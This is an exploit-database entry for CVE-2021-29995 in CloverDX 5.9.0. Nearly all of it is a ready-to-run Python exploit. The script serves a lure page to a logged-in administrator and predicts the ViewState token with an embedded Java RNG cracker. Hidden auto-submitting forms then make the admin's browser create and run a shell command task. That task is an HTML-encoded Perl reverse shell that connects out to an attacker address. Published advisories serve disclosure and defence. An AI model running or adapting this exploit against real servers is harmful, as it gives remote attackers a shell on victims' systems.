CloverDX 5.9.0 Code Execution / Cross Site Request Forgery

2021.07.30
Credit: niebardzo
Risk: High
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) to Remote Code Execution (RCE) # Date: 14.04.2021 # Exploit Author: niebardzo # Vendor Homepage: https://www.cloverdx.com/ # Software Link: https://github.com/cloverdx/cloverdx-server-docker # Version: 5.9.0, 5.8.1, 5.8.0, 5.7.0, 5.6.x, 5.5.x, 5.4.x # Tested on: Docker image - https://github.com/cloverdx/cloverdx-server-docker # CVE : CVE-2021-29995 # Replace the target, payload and port to host the exploitation server. Exploit requires, inbound connection to CloverDX # Victim authenticated to CloverDX and the java to run the ViewStateCracker.java. # Reference for cracking ViewState: # https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html # https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2 # import http.server import socketserver import requests from urllib.parse import urlparse from urllib.parse import parse_qs from bs4 import BeautifulSoup import subprocess import sys import json class ExploitHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.end_headers() # replace with your own target target = "http://localhost:8080" query_comp = parse_qs(urlparse(self.path).query) if "target" in query_comp: target = query_comp["target"][0] req = requests.get(target+"/clover/gui/login.jsf") if req.status_code != 200: sys.exit(-1) # parse the reponse retrieve the ViewState soup = BeautifulSoup(req.text, "html.parser") cur_view_state = soup.find("input", {"name": "javax.faces.ViewState"})["value"] # Use the ViewstateCracker.java to get new Viewstate. new_view_state = subprocess.check_output(["java", "ViewstateCracker.java", cur_view_state]) new_view_state = new_view_state.decode("utf-8").strip() print(new_view_state) if new_view_state == "6927638971750518694:6717304323717288036": html = ("<!DOCTYPE html><html><head></head><body><h1>Hello Clover Admin!</h1><br>" + "<script>window.setTimeout(function () { location.reload()}, 1500)</script></body></html>") else: html = ("<!DOCTYPE html><html><head>" + "<script>" + "function exec1(){document.getElementById('form1').submit(); setTimeout(exec2, 2000);}" + "function exec2(){document.getElementById('form2').submit(); setTimeout(exec3, 2000);}" + "function exec3(){document.getElementById('form3').submit(); setTimeout(exec4, 2000);}" + "function exec4(){document.getElementById('form4').submit();}" + "</script>" + "</head><body onload='exec1();'><h1>Hello Clover Admin! Please wait here, content is loading...</h1>" + "<script>history.pushState('','/');</script>" + "<form target='if1' id='form1' method='GET' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) + "<input type='submit' value='' style='visibility: hidden;'></form> " + "<form target='if2' id='form2' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) + "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" + "<input type='hidden' value='headerForm&#58;manualListenerItem' name='javax.faces.source'>" + "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" + "<input type='hidden' value='allContent' name='javax.faces.partial.render'>" + "<input type='hidden' value='headerForm&#58;manualListenerItem' name='headerForm&#58;manualListenerItem'>" + "<input type='hidden' value='headerForm' name='headerForm'>" + "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) + "<input type='submit' value='' style='visibility: hidden;'></form> " + "<form target='if3' id='form3' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) + "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" + "<input type='hidden' value='manualListeneForm&#58;taskType' name='javax.faces.source'>" + "<input type='hidden' value='manualListeneForm&#58;taskType' name='javax.faces.partial.execute'>" + "<input type='hidden' value='manualListeneForm&#58;taskFormFragment' name='javax.faces.partial.render'>" + "<input type='hidden' value='valueChange' name='javax.faces.behavior.event'>" + "<input type='hidden' value='change' name='javax.faces.partial.event'>" + "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>" + "<input type='hidden' value='shell_command' name='manualListeneForm&#58;taskType_input'>" + "<input type='hidden' value='on' name='manualListeneForm&#58;saveRunRecord_input'>" + "<input type='hidden' value='true' name='manualListeneForm&#58;manualVariablesList_collapsed'>" + "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) + "<input type='submit' value='' style='visibility: hidden;'></form> " + "<form target='if4' id='form4' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) + "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" + "<input type='hidden' value='manualListeneForm:execute_button' name='javax.faces.source'>" + "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" + "<input type='hidden' value='rightContent' name='javax.faces.partial.render'>" + "<input type='hidden' value='manualListeneForm:execute_button' name='manualListeneForm&#58;execute_button'>" + "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>" + "<input type='hidden' value='' name='manualListeneForm&#58;properties&#58;propertiesTable&#58;propName'>" + "<input type='hidden' value='' name='manualListeneForm&#58;properties&#58;propertiesTable&#58;propValue'>" + "<input type='hidden' value='' name='manualListeneForm&#58;taskType_focus'>" + "<input type='hidden' value='shell_command' name='manualListeneForm&#58;taskType_input'>" # # Below is the HTML encoded perl reverse, replace with your own payload, remember to HTML encode. # + "<input type='hidden' value='&#x70;&#x65;&#x72;&#x6c;&#x20;&#x2d;&#x65;&#x20;&#x27;&#x75;&#x73;&#x65;&#x20;&#x53;&#x6f;&#x63;&#x6b;&#x65;&#x74;&#x3b;&#x24;&#x69;&#x3d;"&#x31;&#x39;&#x32;&#x2e;&#x31;&#x36;&#x38;&#x2e;&#x36;&#x35;&#x2e;&#x32;"&#x3b;&#x24;&#x70;&#x3d;&#x34;&#x34;&#x34;&#x34;&#x3b;&#x73;&#x6f;&#x63;&#x6b;&#x65;&#x74;&#x28;&#x53;&#x2c;&#x50;&#x46;&#x5f;&#x49;&#x4e;&#x45;&#x54;&#x2c;&#x53;&#x4f;&#x43;&#x4b;&#x5f;&#x53;&#x54;&#x52;&#x45;&#x41;&#x4d;&#x2c;&#x67;&#x65;&#x74;&#x70;&#x72;&#x6f;&#x74;&#x6f;&#x62;&#x79;&#x6e;&#x61;&#x6d;&#x65;&#x28;"&#x74;&#x63;&#x70;"&#x29;&#x29;&#x3b;&#x69;&#x66;&#x28;&#x63;&#x6f;&#x6e;&#x6e;&#x65;&#x63;&#x74;&#x28;&#x53;&#x2c;&#x73;&#x6f;&#x63;&#x6b;&#x61;&#x64;&#x64;&#x72;&#x5f;&#x69;&#x6e;&#x28;&#x24;&#x70;&#x2c;&#x69;&#x6e;&#x65;&#x74;&#x5f;&#x61;&#x74;&#x6f;&#x6e;&#x28;&#x24;&#x69;&#x29;&#x29;&#x29;&#x29;&#x7b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x49;&#x4e;&#x2c;">&&#x53;"&#x29;&#x3b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x4f;&#x55;&#x54;&#x2c;">&&#x53;"&#x29;&#x3b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x45;&#x52;&#x52;&#x2c;">&&#x53;"&#x29;&#x3b;&#x65;&#x78;&#x65;&#x63;&#x28;"&#x2f;&#x62;&#x69;&#x6e;&#x2f;&#x73;&#x68;&#x20;&#x2d;&#x69;"&#x29;&#x3b;&#x7d;&#x3b;&#x27;' name='manualListeneForm&#58;shellEditor'>" + "<input type='hidden' value='' name='manualListeneForm&#58;workingDirectory'>" + "<input type='hidden' value='10000' name='manualListeneForm&#58;timeout'>" + "<input type='hidden' value='true' name='manualListeneForm&#58;scriptVariablesList_collapsed'>" + "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) + "<input type='submit' value='' style='visibility: hidden;'></form> " + "<iframe name='if1' style='display: hidden;' width='0' height='0' frameborder='0' ></iframe>" + "<iframe name='if2' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>" + "<iframe name='if3' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>" + "<iframe name='if4' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>" + "</body></html>") self.wfile.write(bytes(html,"utf-8")) base64_enc_viewstatecracker = "CnB1YmxpYyBjbGFzcyBWaWV3c3RhdGVDcmFja2VyIHsKICAvKiBTVEFSVCBQQVJUIDEgKi8KICBwdWJsaWMgc3RhdGljIGZpbmFsIGludCBvZmZzZXQgICAgID0gMzI7CiAgcHVibGljIHN0YXRpYyBmaW5hbCBpbnQgaXRlcmF0aW9ucyA9IDY1NTM2OwoKICBwdWJsaWMgc3RhdGljIGZpbmFsIFN0cmluZyBnZW5lcmF0ZU5ld1ZpZXdzdGF0ZShmaW5hbCBsb25nIGlkSW5Mb2dpY2FsTWFwLCBmaW5hbCBsb25nIGlkSW5BY3R1YWxNYXApIHsKICAgIGZpbmFsIGxvbmcgZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwICA9IGlkSW5Mb2dpY2FsTWFwID4+PiBvZmZzZXQ7CiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXAgPSAoKGlkSW5Mb2dpY2FsTWFwIDw8IG9mZnNldCkgPj4+IG9mZnNldCk7CiAgICBmaW5hbCBsb25nIGZpcnN0MzJCaXRzT2ZJZEluQWN0dWFsTWFwICAgPSBpZEluQWN0dWFsTWFwID4+PiBvZmZzZXQ7ICAgICAgICAgLy8gVmVyaWZpY2F0aW9uCiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkFjdHVhbE1hcCAgPSAoKGlkSW5BY3R1YWxNYXAgPDwgb2Zmc2V0KSA+Pj4gb2Zmc2V0KTsgLy8gVmVyaWZpY2F0aW9uCiAgICAvKiBFTkQgUEFSVCAxICovCgogICAgLyogU1RBUlQgUEFSVCAyICovCiAgICBsb25nIHRoZV9zZWVkID0gMUw7CgogICAgZm9yIChpbnQgaSA9IDA7IGkgPCBpdGVyYXRpb25zOyBpKyspIHsKICAgICAgbG9uZyB0bXBfc2VlZCA9ICgoZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwIDw8IDE2KSArIGkpOwogICAgICBpZiAoKChpbnQpKCgodG1wX3NlZWQgKiAweDVERUVDRTY2REwgKyAweEJsKSAmICgoMUwgPDwgNDgpIC0gMSkpID4+PiAxNikpID09IHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXApIHsKICAgICAgICAvL1N5c3RlbS5vdXQucHJpbnRsbigiU2VlZCBmb3VuZDogIiArIHRtcF9zZWVkKTsKICAgICAgICB0aGVfc2VlZCA9IHRtcF9zZWVkOwogICAgICAgIGJyZWFrOwogICAgICB9CiAgICB9CiAgICAvKiBFTkQgUEFSVCAyICovCgogICAgLyogU1RBUlQgUEFSVCAzICovCiAgICAvLyBHZW5lcmF0ZSBudW1iZXIgMiAoU2Vjb25kIE51bWJlciBvZiBpZEluTG9naWNhbE1hcCkKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwoKICAgIC8vQ2FsY3VsYXRlIHRoZSB2YWx1ZSBvZiBpZEluQWN0dWFsTWFwCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgLyogRU5EIFBBUlQgMyovCgogICAgLyogU1RBUlQgUEFSVCA0Ki8KICAgIC8qIENhbGN1bGF0ZSBhIG5ldyBpZEluTG9naWNhbE1hcCAqLwoKICAgIC8vIEdlbmVyYXRlIHRoZSBmaXJzdCBoYWxmIG9mIHRoZSBmaXJzdCBMb25nCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIGludCBudW1iZXJfNSA9ICgoaW50KSh0aGVfc2VlZCA+Pj4gMTYpKTsKCiAgICAvLyBHZW5lcmF0ZSB0aGUgc2Vjb25kIGhhbGYgb2YgdGhlIGZpcnN0IExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl82ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vSGVyZSBpcyB0aGUgbmV3IGlkSW5Mb2dpY2FsTWFwCiAgICBsb25nIG5ld19sb25nXzEgPSAoKChsb25nKW51bWJlcl81IDw8IDMyKSArIG51bWJlcl82KTsKCgogICAgLyogQ2FsY3VsYXRlIGEgbmV3IGlkSW5BY3R1YWxNYXAgKi8KCiAgICAvLyBHZW5lcmF0ZSB0aGUgZmlyc3QgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl83ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vIEdlbmVyYXRlIHRoZSBzZWNvbmQgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl84ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vCiAgICBsb25nIG5ld19sb25nXzIgPSAoKChsb25nKW51bWJlcl83IDw8IDMyKSArIG51bWJlcl84KTsKCiAgICByZXR1cm4gbmV3X2xvbmdfMSArICI6IiArIG5ld19sb25nXzI7CiAgICAvKkVORCBQQVJUNCovCiAgfQogcHVibGljIHN0YXRpYyB2b2lkIG1haW4gKFN0cmluZyBhcmdzW10pIHsKCVN0cmluZyB0b2tlbiA9IGFyZ3NbMF07CglTdHJpbmdbXSBsb25ncyA9IHRva2VuLnNwbGl0KCI6Iik7Cglsb25nIGxvbmcxID0gTG9uZy5wYXJzZUxvbmcobG9uZ3NbMF0pOwoJbG9uZyBsb25nMiA9IExvbmcucGFyc2VMb25nKGxvbmdzWzFdKTsKCVN0cmluZyBuZXdUb2tlbiA9IGdlbmVyYXRlTmV3Vmlld3N0YXRlKGxvbmcxLGxvbmcyKTsKCVN5c3RlbS5vdXQucHJpbnRsbihuZXdUb2tlbik7Cgp9Cgp9Cg==" # # This drops ViewstateCracker.java from above, ref: https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2 # with open("ViewstateCracker.java","w") as f: f.write(b64decode(bytes(base64_enc_viewstatecracker, 'utf-8')).decode('utf-8')) exploit_handler = ExploitHandler PORT = 6010 exploit_server = socketserver.TCPServer(("", PORT), exploit_handler) exploit_server.serve_forever()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top